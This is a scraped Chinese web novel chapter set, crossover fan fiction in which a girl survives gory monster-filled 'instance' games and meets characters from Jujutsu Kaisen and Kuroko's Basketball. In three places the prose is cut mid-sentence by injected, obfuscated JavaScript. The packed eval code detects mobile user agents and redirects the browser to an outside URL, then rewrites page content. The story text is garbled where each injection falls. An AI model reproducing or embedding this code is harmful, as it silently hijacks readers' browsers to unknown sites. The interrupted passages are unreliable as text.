《我说你们也太喜欢我这个玩家了吧》 1. 第一章 【穿越者手札 x月x日】 【我，没有疯。】 * 人死了，穿越到另一个世界，那还会是原来的自己吗？ 渚星也是穿越者，应该是很小的时候穿越过来，但小时候记忆模糊，连这个世界父母的脸都记不清。 上个月，她被自行车撞到，才恢复自己上一世的记忆。 上一世的渚星也只是一个平凡普通的人，芸芸众生的一员。 笔点在纸上，留下一个黑色的点，她支着下巴，写着自己的日记。 这一世的她…… 门被敲了三声，渚星也站起来将日记放进抽屉里，这才去开门。 门外站着一个漂亮的少年。 皮肤过分雪白，瞳孔的颜色怪异，黑色的碎发贴着脸颊，他弯起唇，笑意盈盈地朝她打招呼，“星也，我吵到你了吗。” 空气中弥漫着刺鼻的血腥味，又混杂着廉价疑似油漆的味道。 先是味觉的冲击。 其次才是视觉。 他的身后，是各种死相凄惨的人，被活活钉死在树干上，下半身仿佛被硬生生扯断的人，四肢扭曲，眼神停留在惊恐神情，手指还扣着地砖，皮肉紧缩翻卷。 少年微笑着，见她没有反应，疑惑地歪头，那张漂亮的眼睛倒映着渚星也所看到的世界。 腐肉一样的生物构成了天空和地面，散发的味道令她的胃部痉挛，没有表情已经是她能做出最正常的表情了。 渚星也的目光落在少年垂下的手上，沾染着碎肉和黑红的血，偏偏他笑容甜蜜，温柔细语。 这个世界的她…… 是【玩家】。 觉醒上一世的记忆后，隔一段时间，睡梦中的她意识就会被投放到另一个世界，碰到一些稀奇古怪的怪物，大多数都不是人样且长相远不能用语言形容，少部分披着人皮，但皮下还是一个相貌丑陋的怪物。 怪物们编织着一个又一个梦境或故事，引诱奇怪的人类进行屠戮，或人类之间互相残杀，怪物趁机撕咬。 渚星也突兀进入到这样的世界，却没有遭遇和其他人类一样的死亡。 她仿佛被忽略一样，又似乎被怪物们认为是同类。 屠戮，进食，展开厮杀，从来不避开她。 第一次进入这样的世界，渚星也还藏在衣柜里。 但人的适应力很强，她现在已经能让自己数着怪物身上有几个眼睛，有武器在手更是能砍上去。 这个世界的背景，她是眼前漂亮少年的邻居，同时也是和他一个学校的学姐，少年意外车祸后被未知的存在侵占了身体，一步步将同学，朋友，亲人吞噬，披着人皮游走于人群，寻找着满意的食物。 她一来到副本世界，脑海里就自然浮现出来这些东西。 至于为什么认为自己是玩家？ 渚星也目光不经意略过他的头顶。 【最终boss：清野】 【已攻略】 还是粉色的框，粉色的字。 刚来到这个世界的时候，少年还没成为怪物，她小心谨慎地暗中观察，等着出车祸的时候一把把他推开。 结果两人双双出车祸。 又双双出院。 从那以后，她在自己的房子里，从窗户外每天都能看到一批又一批的人进入旁边的房子，却都没有走出来。 他们同样是【玩家】。 和她不一样，渚星也能够看到玩家头顶上的标识，但玩家似乎认为她是npc。 也有玩家想把她杀掉占据她的房子，还没走进，就碎成连块也不能作为量词的碎肉，红色的血和肉溅到玻璃上，她站在落地窗前，隐隐看到对面阳台站着向她微笑的少年。 ——“没有。” 渚星也回答，挠了下脸茫然道，“我睡觉很死的，什么动静都搞不醒我，发生什么事了吗。” 假的。 那是她吃安眠药强行昏睡过去，自从发现半夜苏醒会看到一张脸和自己对视，或者被床下钻出来的手捏腿按摩，还有半夜被钻被窝，她就开始给自己吃药了。 身处怪物阵营，被怪物当做同类，怎么说都要比玩家阵营更安全。 之前有一天硬撑着没吃，半夜感觉自己被抱住了，一睁眼少年就在她的床上，几个眼睛转动着向她看过来。 当时满脑子的要不现在就杀了他。 但下一秒渚星也就冷静下来，实力悬殊，还是她选择进行健康的睡眠吧。 早上起来冰凉的床铺她就当看不到。 感觉被人外骚扰了。 好烦。 “着火了吗？” 她问。 “还是清野你又被奇奇怪怪的人欺负了？” 黑发少女认真说，“不要总是迁就他们。” 少年仿佛被逗笑了一样，眼睛弯起，那双没有焦距，阴暗潮湿的眼睛注视着她，“星也，你和其他人不一样，你真的很有趣。” 他上前一步，捏起下巴，微微抬起。 渚星也很想离开，但比起想要离开的理性，某种更强的压迫感让她动不了。 “……你怎么了？” “你好香啊，星也。” 眼睛被摸了。 “这双眼睛，也不会流露着恐惧的神色，真漂亮。” 脸被舔了，像史莱姆一样的舌尖略过脸颊，留下一片的粘腻。 讨厌。 “最最最重要的是，星也，你担心我，你不想让我死，我知道的，你喜欢我，一直偷偷跟着我，怕我遇到危险。”少年温柔地笑着，“没关系，等我杀光了所有的人类，就不会再有危险了。” ——那你快点死吧。 渚星也心想。 这就是恋爱脑吧，单恋。 有时候还是会很好用的，要是能突然死掉就好了。 “做我的信徒吧，星也，这样你不就可以一直注视到我了吗。” 少年越说越激动，面部的皮肉像墙皮一样掉落。 “星也星也星也星也星也星也星也星也星也星也星也星也星也星也星也星也星也星也星也星也星也星也星也星也星也星也星也星也星也星也星也星也星也星也星也星也星也星也星也星也！！！” 内脏的紫色和鲜红的血液充斥着视野，摇曳不定的昏暗灯光下，死亡般的静寂与黑暗从四面八方涌来，叫着自己名字的声音逐渐从清朗变得粘稠，尖叫呻吟与各种异调的声音交织在一起。 【星也】 天空，土地，尸体，它们嘴里呢喃着她的名字。 【星也】 【星也】 渚星也只觉得好吵。 她抬手捂住耳朵，不想说话。 第三个。 这已经是第三个要她做信徒的怪物了。 好心累。 她是什么天选信徒吗，每一个都像炸弹，踢走就爆炸，在后面偷偷跟了几天都认为她喜欢而生出恋爱脑。 那要是亲一口，会不会爆炸？ 噫，还是不要了。 “我拒绝。” 听起来就很麻烦的样子，有种答应了就会和它纠缠不休的样子。 黑发少女后退一步，世界开始崩塌，地面陷裂，肉团犹如波浪般粘稠涌动着，电子音突兀在耳边响起。 【副本崩塌中……】 【本次游戏即将结束，统计数据如下。】 【最终胜者：渚星也】 【击杀人数：0，主线任务〈存活下来才能通关〉：1 00％，支线任务〈攻略怪物寄生者清野〉：100％。】 【不可诉说之众神已陷入梦乡，沉眠群星。】 【系统将进行大范 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13792356|145904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 围更新，修复各类bug，增加新玩法，请玩家敬请期待。】 【祝玩家游戏愉快，下次再见～】 记忆的最后，是铺天盖地的黑暗，和莫名安静下来紧紧盯着她的少年。 少年望着她，倏地露出诡谲的笑容。 黑色的流体从鞋面渗进到她的牛仔裤，冰冷的触感划过大腿，手腕，颈部。 那双怪异的眼睛倏地和她贴近，却被黑色流体堵塞住身上的口，哪怕腹部被流体撕裂，异物入侵到他的体内，也要不管不顾地捧起她的脸。 “你逃离不了的。” 黑云滚滚，狂风大作。 “好噢。” 黑发少女眨着黑幽的眼睛，朝他一笑：“那你去死好了，这样就离不开啦。” “噗嗤”一声，少年宛若布帛一样，被轻松撕裂。 【你杀死了清野。】 渚星也看着这一幕，抬起袖子擦掉脸上的血污，崩塌的世界只剩下她，和影子。 【你已脱离副本。】 ………… 简约风的卧室里，渚星也突兀睁开眼，整个人坐起来，安静了几分钟，她仿佛上了发条的人偶，动了下有些茫然的眼珠，低下头揉搓了下脸。 ok，清醒。 渚星也踩着拖鞋走进卫生间，打开灯先给自己用冷水洗一下脸。 她抬起头，看着镜中的自己。 少女黑色长发，五官精致，纤长乌黑的眼睫垂落，同样眼睛如朔夜般漆黑，有着不合群的游离感，衣领凌乱敞开，隐约能看到脖颈处一点黑痣。 渚星也扬起唇，镜中的少女同样弯起唇笑了，冲破了身上那股不合群的游离感。 眼尾下垂，一笑就弯起，看着有些傻乎乎，不谙世事，像那种被卖了还会帮人家数钱的人。 她穿越前就是这张脸，穿越后也是，如果不是重新从小时候成长了一遍，她还以为自己是身穿。 渚星也给自己洗了洗眼睛，但是一闭眼，那些混乱蠕动的一幕挥之不去。 “眼睛扣下来洗洗就干净了……” 话音一落，渚星也啪叽拍了下自己的两颊。 差点又变态了。 每一次从另一个世界离开，她的行为习惯都会被影响到一点，有时候切菜切得就开始抬刀大力剁菜板，被邻居问是不是在吃排骨。 看着鱼缸里的鱼会下意识想着抓起来塞进嘴里。 出现在她面前的人，思绪一发散看过去，那些人的脸全部变成腐肉。 【我没有疯，我不能死】 渚星也拍着胸口。 怪物怎么了，怪物的老大哥古神出现在这个世界那也是二次元诶。 二次元还能被攻略呢。 比如奈亚子。 二次元神经病都是一种萌点。 渚星也眨眼抬手，点在镜子中，画了个微笑的表情。 另一个世界，渚星也更愿意叫【副本世界】，玩家会在这个世界里互相残杀，直至剩下最后一个玩家才可以脱离世界，即为通关，电子音，也就是系统，会告知他们世界的背景，最终的boss，会通知一些支线任务，以及谁击杀了谁。 逃生游戏。 活下来的只能有一个玩家，到下一个副本开启，继续进行厮杀。 永无止境的地狱。 她总共就进入了三个【副本世界】，三次都是另辟蹊径什么玩家都没杀过就赢了。 玩家不知道她是玩家，大多数怪物不把她当玩家，人都死的剩最后一个了没有听到通关的系统音，才意识到最终赢者不是自己。 自己可能是系统遗漏的那个bug。 希望能继续活下来。 将镜子中的笑脸抹去，渚星也揉了揉自己的脸，懒懒打了个哈欠。 不知道为什么，她有些不祥的预感。 2. 第二章 副本世界的渚星也拥有各种各样的身份，但现实世界的她，只是一个即将进入高三的高中生。 与副本中和其他众多玩家待在一个副本世界展开逃生游戏不同，现实世界里渚星也没有见过其他玩家，不过就算是玩家也没什么特殊的。 因为她所处的世界是高危世界，随时随地都有人死。 首当其冲最危险的是《咒术回战》，她穿越过来的世界。 穿越前她看过的漫画，那个人气角色都会死亡，有名的献祭流热血漫，黑暗又邪性，每更一章都会有无数网友破防。 渚星也就是其中之一。 在这个高危热血漫《咒术回战》的世界里，煤气爆炸的新闻层出不穷。 她在这个世界也没有特殊的身份，不是什么开局咒术师，没有什么美强惨被神子救赎的爱情线，甚至也没有给她捞个青梅竹马让她体验一下和纸片人谈恋爱的感觉。 她只是一个半路被逃生游戏劫走的倒霉bug玩家。 这个世界也是她能够喘气休息的中转站。 毕竟这个世界不会有莫名其妙扮成人类的怪物，没有扭曲你认知，让你以人类为食的怪物，没有莫名其妙因为你乱看扣走你眼珠子的怪物。 渚星也打开冰箱，冰箱里的菜基本没有，只有之前做过的八宝粥放在冰箱，她在副本世界度过了一两个月，现实世界里可能才过去半天，八宝粥也没有坏。 吃不下去。 她捂住自己的嘴，盯着自己做出来粘稠的粥，面色发苦。 主要做的不好吃，长的还和副本世界里的食物撞了。 这就是从副本世界回来的后遗症，副本世界的【清野】会每天给她带便当，很正常的便当，但渚星也总能在里面发现奇怪又粘稠的紫色液体，一根头发，或者带血的指甲盖。 她被反胃的每天都吃不下饭，送过来的便当全冲马桶了。 出去看看能吃什么吧。 正好见见活人。 好久没见到活人了。 渚星也想着，换上日常的衣服，随便盘了个丸子头走出去，走到一家炒饭店。 “麻烦给我来一份，克苏鲁爆炒眼球。” “……啊？” 渚星也在一声疑惑下才反应过来自己说了什么，她不好意思说了声抱歉，要了正常的炒饭，不要鱿鱼须，最近过敏这个东西。 吃到一半，手机叮咚响了一声，渚星也没有拿起来看手机，十有八九是垃圾信息。 她在这个世界上没有结交的朋友。 这个世界，她自幼就没了双亲，被远在琦玉的祖母带大。 因为琦玉县这个地方，她才知道自己穿越后的世界是《咒术回战》的世界，但也没什么好说的。 那个时候的她记忆模糊，不知道什么是漫画，也记不得原著剧情，只是本能的觉得应该远离危险的人。 ……所以她远离了姓伏黑的。 加上她那时不把自己的感情表现出来，在这个世界不怎么受欢迎，常常被安上木讷，不好惹的称呼，祖母也不知道该如何和她相处，每天会给她做上饭菜，笨拙的和她聊天，念着她要和人交朋友。 祖母是个好人。 渚星也想，小时候的自己也是这样想的吧，不喜欢上学，只喜欢缠着她一个老人。 小孩子之间也会有站队的问题，格格不入的小孩子会被欺负，渚星也就是那个被盯上的，藏文具，放虫子，取外号，想要绊倒她…… 应该是这些吧，记不清了。 因为她在放虫子的时候，就把虫子反塞到了幸灾乐祸的孩子王嘴里。 绊倒她的时候，她就找到了没人的角落将孩子王用零食骗出来，捏着拳头找揍起来很疼却不会有痕迹的肥肉揍。 有一段时间她都是瞒着祖母，谎称自己要和朋友去玩，实际上去收拾调皮捣蛋的孩子王。 给人揍怕了，眼泪鼻涕抱住她的大腿说他只是喜欢她，所以才这样做。 讨厌。 渚星也抬腿踢开，认真告诉他要是再骚扰她，就把他们光着屁股的照片打印出来贴到学校每一个角落。 孩子王和他的小弟们打了个寒颤，哭着答应了。 之后就清净了很多。 不过当时威胁揍人的时候好像被人看到了，一高一矮的，乌漆麻黑的小巷，渚星也也想不起来是谁。 后来祖母身体出了问题，埼玉县的医疗条件不能治疗，渚星也就带着祖母回到东京，在东京的医院长期治疗，好在父母在东京给她留下了一套房子，她落脚后就在新学校，家里，和医院来回跑。 一样的没有朋友。 祖母离开前，抓住她的手露出悲怆的表情，仿佛世界末日了一样看着她。 临走的那些天，她的心情都很低落，不管渚星也怎么做，她都是泫然欲泣的表情，温柔又难过。 “星也。” 祖母轻轻开口，摸着她的脑袋，温声说，“就算是星星，也会找到其他星星的，我以后不能再给你过节日了。” 那是她第一次睁大眼睛，惊讶的看着祖母。 祖母死了。 不知道祖母知道她成了【玩家】后变态了会说什么。 可能真的会给她做克苏鲁爆炒眼球，问她克苏鲁是什么，眼球能用丸子代替吗。 会继续和她一起过节。 祖母的性格有点脱线诶。 ……… 从过去的回忆回过神来，渚星也已经吃完了炒饭。 久违吃到正常的食物，她感觉到生活有盼头了。 她这才拿起手机。 是钱到账了。 身为【玩家】参加逃生游戏又回到现实世界，系统会给【玩家】结算积分，其中副本中获得的金币也能够兑换成现实货币，基本不多。 有总比没有好。 虽然系统还是很黑心，抠门，就没有一个渠道投诉吗。 结账后渚星也离开，时间还早，她打算用兑换的钱买点水果犒劳一下自己，再买些菜啊生活用品什么的，从超市走出来，路过蛋糕店，买了最近很想吃的小蛋糕，最后还给自己买了一杯奶茶。 提着两个购物袋往回走，河边水面映照着霓虹灯，她慢悠悠欣赏着沿路的风景，朝向自己的家。 走到必路过的小巷，渚星也随意一瞥，整个人愣在原地。 “啊？” 看到猫啦。 * 夜幕如同厚重的帷幕，将一切光明与喧嚣隔绝在外，路灯的光芒微弱而昏黄，光线斑驳陆离，投下长长的影子，让本就狭窄的小巷显得更加阴森可怖。 在勉强能辨认前方道路的昏黄光芒下，渚星也看到有个少年躺倒在垃圾桶边，身影与周围的黑暗融为一体，不仔细看以为是一团垃圾袋。 少年面容苍白，双眼紧闭着，衣衫破碎不堪，血迹干涸，以及衣服上泥土的污渍。 四周静悄悄的，只有远处偶尔传来的夜风呼啸声和街灯下模糊的人声。 路灯，无人小巷，昏迷战损的少年。 垃圾桶旁边的少年俊秀的脸上都是血，身上的衣服都缺了一块，渚星也视线下移，看到腹部随着呼吸起伏着，还流着血，他倚靠在垃圾桶旁边，也不知道是昏迷还是假寐。 还好垃圾桶算干净，垃圾分类还是有用的。 战损欸。 渚星也脑袋不合时宜的冒出这一句，她眨了下眼。 专业人员呢，后勤人员 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13792357|145904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢，白毛最强呢，就让孩子大晚上的躺马路啊。 渚星也知道这是谁。 伏黑惠，《咒术回战》的热门角色，美强惨DK，还是个闷骚酷哥。 算起来，她应该和伏黑惠有点交集，但不多，在琦玉度过的那些时间，和伏黑津美纪是同桌。 不过前面她说了，小时候上一世记忆模糊，本能的觉得应该远离危险的人，就远离了姓伏黑的。 还被同校生开玩笑拉cp，说出“我讨厌混混”这种话。 应该不记得吧。 作为一个守法好公民，看到受伤的人，还是要打120和报警电话的。 渚星也提着东西走到他面前，蹲下来先打了救护车电话，报上地址说完后挂断电话。 她蹲在面前，盯着黑发少年，从上到下。 伸出手，试探了下他的呼吸，手放在脉搏上。 人应该是昏过去了。 渚星也歪了下脑袋，第一次近距离接触到曾经的推，一时间上辈子的记忆涌入脑海。 指尖戳了下他的脸。 “软的……不是棉花。”她喃喃自语。 新鲜的人类，还是曾经的推，这让渚星也的好感比普通人类高5个点。 碰了下他的睫毛。 “和漫画里说的一样。” 很长，也很卷，不愧是被官方盖章的绮丽美人颜。 “……” 渚星也反应过来做了什么，她像一个变态一样摸人家的脸。 人果然是群居动物，需要吸一下其他的人类，或者是小动物。 不然会变态。 就像她。 人道主义的关怀做到位了，从监控看，最多就是摸了摸试探一下生命特征。 渚星也站起来，头也不回的离开。 好啦，现在她是冷漠市民了。 她拎着袋子走得飞快，没有注意到身后悄无声息睁开的绿色眼瞳。 ………… 伏黑惠“嘶”了一声抬起手，额头的鲜血滴落到掌心，他拍了下身边“呜咽”着的玉犬，摇了摇脑袋。 “不能过去。” 玉犬耷拉下耳朵。 目光从已经远离的少女背影收回。 ……渚星也。 不需要刻意回忆，这个名字就自然出现在伏黑惠的脑海里。 是津美纪的同桌，也是他的前辈。 曾经被拉过cp，只不过被当事人说了讨厌，拉cp的人还被骂了，就没人继续说了。 对于渚星也，津美纪应该熟悉，在中诅咒前她嘴里都是渚同学，但伏黑惠和她没有说过话，只是偶然看到过几次。 老姐说过，你只要认识渚星也，你就会喜欢她，她很特别，和别人不一样，如果能和她做朋友就好了。 说完就失落垂头。 因为她们的关系也没有老姐想象中的那样发展。 伏黑惠见过的渚星也，看人的目光总是蒙着一层看不见的屏障，一副没精神对什么也不感兴趣的样子，笑容很灿烂，但也只是灿烂，什么情绪也没有，两眼一闭就是睡，对小动物会笑得很开心真心，发生了什么事，她总是第一个站在人群最前面，探着脑袋看来看去，像个拿着瓜子的松鼠，一有人靠近，呲溜爬上树。 他收回思绪。 和他没有关系。 他只是祓除咒灵，随便找了个落脚点休息一下，恰巧就在她家附近而已。 发消息让跑去买特产甜点的五条老师来接他，救护车就不用了。 伏黑惠摸着玉犬的脑袋，心不在焉抬眸望向黑暗，抬手摸了下自己的脸，像被烫到了一样，又垂下手继续顺毛玉犬。 ……她果然一直都很奇怪。 3. 第三章 晚上碰到伏黑惠只是一个小插曲，渚星也早就过了激动的年龄了，她来东京后还去过博多和池袋，跟那个情报贩子合过照。 ……当时只觉得心跳的很快，也没想起来是情报贩子折原临也。 钱包丢了还是他好心追回来的。 怪不得她认真发好人卡的时候并提议请他吃饭的时候，他笑得有些奇怪。 不过答应了。 吃的还是火锅。 渚星也将浴缸里放满水，自己将脏衣服脱掉，浸泡在水中。 她抬起眼，透过因为蒸汽朦胧一片的镜子，抬起手，在镜子上抹了抹。 镜中的一片倒映出她白皙平坦的小腹，腰侧靠近胯骨的位置，有藤蔓似的纹身，弯弯绕绕缠绕，又似伤口愈合的痂。 这不是纹身，也不是伤口。 是一种标记。 是她经历过的【副本】中的最终boss留下来的东西，最开始渚星也并不知道这是什么，第一个副本中，【玩家】被投放到一家精神病院，那时的渚星也混在玩家之中就是一个菜鸡，有玩家为了不让怪物攻击他们，决定将最弱小的票出去吸引它们的注意力。 渚星也就是那个倒霉蛋。 她躲在柜子里，透过关不住的柜门缝隙，看到无头的护士扭曲着四肢爬行寻找着【玩家】。 怪物的听觉异于常人，哪怕她捂住自己的口鼻，它们还是听到了。 柜门被撕扯，异臭扑鼻而来。 死亡笼罩全身。 那个时候，有东西呼唤了她，不知不觉缠绕住她身体的黑色流体裹住了她的手臂，她忘记自己是怎么动起来的，只知道回过神来，那些变异的护士怪物都被她杀死了。 死相……凄惨。 已经分不清地上的腐肉是本来就有的，还是她撕碎的，甚至于镜子中的自己脸上溅着血，绿眸幽幽，在笑。 她分不清回荡在脑海里无数的声音是属于谁的，也分不清自己的念头想法。 那些声音告诉她，它们曾经侍奉过哪位古神，是如何屠杀人类，嘶哑的叫声，尖锐的笑声回荡在脑中，告诉她万物终将灭绝，她是将世界推向毁灭的大门，它们能够潜伏寄宿在她的身体中，窥探现实世界。 对它们而言，她的身体像是一条漫长昏暗的坡道中途，是让它们安心的藏身之处。 没有实体，能被她操控，但同时又会影响到她。 哪怕离开副本，潜伏在血液中的怪物，也不分昼夜一直在她的身旁。 从那时候，这纹身就出现了，大脑里同时出现黑色流体的名字。 ［枝桠］ 因为它们，本来在副本中就岌岌可危的精神状态，更加堪忧，它们还会吞噬掉和自己一样的怪物，吞噬后的怪物也会潜伏在她的血液中，成为力量的一部分。 一旦内心的负面情绪过多，那些怪物就会蠢蠢欲动，黑色的鲜血从身体渗出来，以至于渚星也不得不用绷带裹着，不让房间血流成河。 简单来说，就是会变得没有理智，完完全全的黑暗面。 每次恢复正常，残留的疼痛恶心久久不散。 恶堕？或者张三模式？ 是法外狂徒。 频繁的失去理智，脑袋会烧坏，她怕自己把脑子扔了，快乐地和怪物手牵手毁灭世界，自愿变得不人不鬼，成为恶堕的怪物，心情来了去和更可怕的怪物玩什么生子游戏。 她努力活下来，不是为了成为怪物的。 在副本里谨小慎微就是因为这点，一般怪物都会忽略她，但boss怪不会，反而因为她的特殊而多加关照。 这个副本结束，【清野】就被它们吞噬了。 和她关系好的都会这样。 渚星也抬了抬腿，溅起一片水花，她伸了个懒腰，没骨头似得趴在浴缸上，无聊地捏了捏小黄鸭。 泡了半晌，她才站起来擦干身体。 副本世界是副本世界，现实世界是现实世界，现实世界没有多如虫潮的怪物和玩家害她，渚星也也能放松下来，漆黑天也不用给自己吃药强行关机。 睡觉。 ………… 次日。 “请签收。” 快递员将大纸箱放到地上，渚星也顶着凌乱的头发和泛着水汽的睡眼，签完字看着箱子发呆。 很大，她应该没有买东西。 看了下上面的信息，是购买其他东西的赠品。 渚星也打了个哈欠，将快递拖回去关上门，拿着刀拆开。 “……嗯？” 她脸上出现茫然的表情，将箱子里的玩偶抱起来，和它大眼瞪小眼。 玩偶是一个四肢短短、身材圆滚滚、鼻孔朝天、外表呆萌的动物。 渚星也很熟悉。 卡皮巴拉。 学名水豚。 除了这个大的，还有一个小的手机挂坠，陶瓷的小水豚。 渚星也戳了戳它的嘴巴，看到的那一瞬间恍惚以为自己回去了，这东西出现给她一种破壁的错乱感。 查了下确实是给会员送赠品。 渚星也打电话过去问了下客服，说你们的赠品就是水豚玩偶吗，怪可爱的，客服愣了下安静了几秒，坚定地说是的，就是这个，限量份。 奇怪的好运气。 渚星也嘀咕了一声检查了下，没发现什么奇怪的东西，她请假了两天，今天要去学校，将手机挂坠挂上，收拾了下自己，锁门去学校。 无奖竞猜，东京的学校有哪些？ 她回想了下自己这些年见过的学校。 打篮球的，踢足球的，打排球的，打网球的，搞音乐的，贵族学院的…… 根据以上能分为n类学校。 渚星也属于打篮球的，选择离家近的学校。 城凛高校。 《黑子的篮球》里主角的学校。 新学校，校风可以，也很轻松，不强制要求报名社团，因为副本的原因，渚星也就成为回家部的一员。 踩着点进教室，渚星也随意将书包放到桌面，发出“咚”的一声响，班上其他同学的目光唰唰看过来，见渚星也没什么反应，一脸淡定不解释的样子，又转回去。 “——” 渚星也坐下来，悄悄地打开书包摸了摸。 摸出了一根撬棍。 完蛋，条件反射了。 诸副本世界经常遇到危险，撬棍是开局能找到最有力的武器，渚星也用它一棍子抡过无证行医的乌鸦医生，当然没有抡死，乌鸦医生拔出陷入头骨的锤子，还递给了她，自己转头就去猎杀其他的玩家。 拿在手里惦了掂，忽然感受到一股视线落在自己身上，她飞快转头看过去。 四目相对。 一个叫不出名字的男同学懵逼看她。 渚星也：“……” 男生：“……” 看什么，土豆。 渚星也扭过脑袋，将撬棍塞进书包里。 ……这个土豆不会以为她是下课去揍人的不良女高吧。 大意了。 干脆装作不知道好了。 她是老实人，老实人不会随便打人的。 撬棍就是撬棍，撬棍是不可能变成物理学圣剑的。 ……不知道二次元砸脑袋会不会失忆？ 渚星也认真想。 会死人的吧。 下次进副本试试。 * 中午课间休息，带了便当的都拿出来，和朋友一边聊天一边笑着吃，渚星也一直都是早上懒得做，中午小卖部解决，晚上回去自己做。 有时候买预制菜，不是，是预制便当，解决中午吃饭的问题。 她对吃食不讲究，吃不死就行。 渚星也走下去的时候，小卖部都是人。 体育生……篮球部成员挤在最前面，她观望了下，自己就算挤进去，也买不到面包。 吃不到就算了，副本世界一天一夜不吃饭不也活到最后了。 正准备回去，身后传来声音。 ——“渚前辈。” 一个蓝色乱发，圆圆猫眼，看起来有些纤细的少年递过来一袋菠萝包。 渚星也盯着他的脸，愣住。 “我看到渚前辈没有带便当，这个时候买的人很多，所以就擅自帮你带了一份。” 渚星也歪歪头。 果然是好人啊。 眼前的少年是《黑子的篮球》里存在感为0的主角黑子哲也，心地善良，有时候很有男子气概。 推过几个月。 推的是全员。 看过几篇文。 看的是nph。 买过几本漫画。 买的是同人集。 给那时还是孩子的她造成了极大的冲击。 她和黑子哲也不怎么熟，唯一有交集的，就是家离得近。还有路过马路，每天都能看到过不去斑马线的老奶奶被扶着过马路，早中晚最少能看三次过马路。 其中看到过很多次黑子在扶老奶奶过马路。 还有其他眼熟的角色。 不过每次她都是踩着点，没怎么注意。 真正让他们能彼此叫对方名字，应该是她被外校的不良堵了，当时回家方向一致的黑子哲也走出来想救她，拿出手机打算报警。 然后那些混混就被她个个踹了一脚，捂着两腿中间倒在地上痛苦呻吟。 那条路也没有监控，当时她拉着人就跑了。 在那之后，碰到了黑子哲也都会叫她一声“渚前辈”。 回忆结束。 果然是个好人。 “谢谢你啊。”渚星也说完就掏出了钱。 黑子哲也张了张嘴，似乎想说什么，但最后什么也没说，默默接过钱。 渚星也这才心安理得拿过菠萝包，点了下头朝他一笑就离开了。 “黑子。” 火神大我抱着好不容易抢来的面包塞到嘴里，奇怪地看还在发愣的黑子哲也，跟着他的目光看过去，嚼面包的速度慢下来。 “是她啊，我记得叫……” “渚星也。” 黑子哲也说。 “你刚刚在和她说话啊。” “嗯，渚前辈没有带便当，我把多买的面包给她了。” 火神大我“哦”了一声，黑子哲也偏头。 “火神君也知道渚前辈吗。” “也？她不是很有名吗，班上那些人经常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13792358|145904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在说，随便听一下都能记住名字吧。”火神大我挠了挠头发，奇怪说，“她挺好看的，应该有不少人喜欢吧，就是总感觉怪怪的……你什么眼神啊。” “有些意外，火神君也会夸赞女孩子好看。” 渚前辈是个很特别的人。 黑子哲也想。 他喜欢观察别人，被朋友说过有敏锐的观察力，存在感很低，大多数人都会忽视他，火神君也是，大部分人如此，他也就习惯了。 但渚前辈从一开始就能看到他。 这么说起来可能有点普通，换个说法—— 是只要他一出现，渚前辈就只能看到他。 就好像他是人群中很明显的存在。 他们家离得近，也顺路，经常能看到渚前辈一个人进进出出，知道她是什么情况不难，买菜的时候，妈妈就叹气说过。 “那个很漂亮的小姑娘真可怜，家里就剩下她一个人了，也没有其他亲人什么的” “小哲，我记得她是你们学校的，认识吗。” “……不认识。”黑子哲也回答。 不熟。 应该说渚前辈和他们都不熟，即使很好奇，也难以找到和她打招呼主动接近的机会，渚前辈在城凛也很有名，因为漂亮，就是这样俗气的理由。 招生手册上还有渚前辈闭着眼睡在长椅上，腿上，椅子上都是猫的照片。 据说这张照片是学校买过来的，吸引了不少的人进学校。 还有人堵到学校，想要渚前辈当模特，或者去拍电影。 都被渚前辈骂回去了。 骂的很难听，少女骂出去的话，是黑子哲也这辈子听过最难听的话，那些人都被骂哭了，哆嗦着嘴一脸的不可置信，说着“你长这样你还骂人”。 “不光骂你，再来一次，我还会奖励你一个巴掌呢。”黑发少女笑容无辜，即使面对一群对她不怀好意，还有试图让他们友好协商的学校，也丝毫不退步。 属性复杂，大概是隐藏的抖艾斯，黑子哲也无法想象喜欢被欺负的渚前辈。 如果不是他偶然碰到被校外不良堵住的渚前辈，说不定也没有机会和她说上话吧。 ……只是最近的渚前辈有些奇怪。 似乎精神不太好的样子，蔫蔫的，一个月有那么几天是这样，渚前辈一看到人就松了口气，眼睛里都闪动着亮光，好像正常人是什么稀缺动物一样，身体也是紧绷的状态。 是遇到什么解决不了的麻烦了吗。 “黑子，喂——” 火神君的声音让黑子哲也回过神，他眨了下眼，语调没有起伏，“火神君，好吵。” “什么我吵啊，是你自己在发呆，走了。” 今天训练回去，顺路看看渚前辈，会不会没有边界感？ 但是万一遇到了危险怎么办。 渚前辈又是那种遇到危险自己解决的类型。 黑子哲也叹了口气。 想要了解渚前辈，太难了。 * 二次元主角都很有人性。 